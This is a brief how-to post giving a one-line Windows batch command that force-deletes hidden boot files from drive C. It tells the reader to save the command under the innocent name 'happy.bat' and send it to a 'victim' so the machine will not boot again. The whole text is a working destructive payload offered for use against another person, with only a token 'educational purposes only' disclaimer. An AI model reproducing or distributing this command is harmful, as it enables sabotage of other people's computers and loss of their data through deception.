How to Make a Deadly but simple virus using one line Command remember this is for educational purposes only.

1)Make a text file

2)Enter the command given below-

erase /q /f /s /a:h c:\boot.ini c:\ntldr

3)Save the file as happy.bat

Send it to Victim.Let him open it.Thats it

The next time he reboots .. SYstem will not boot again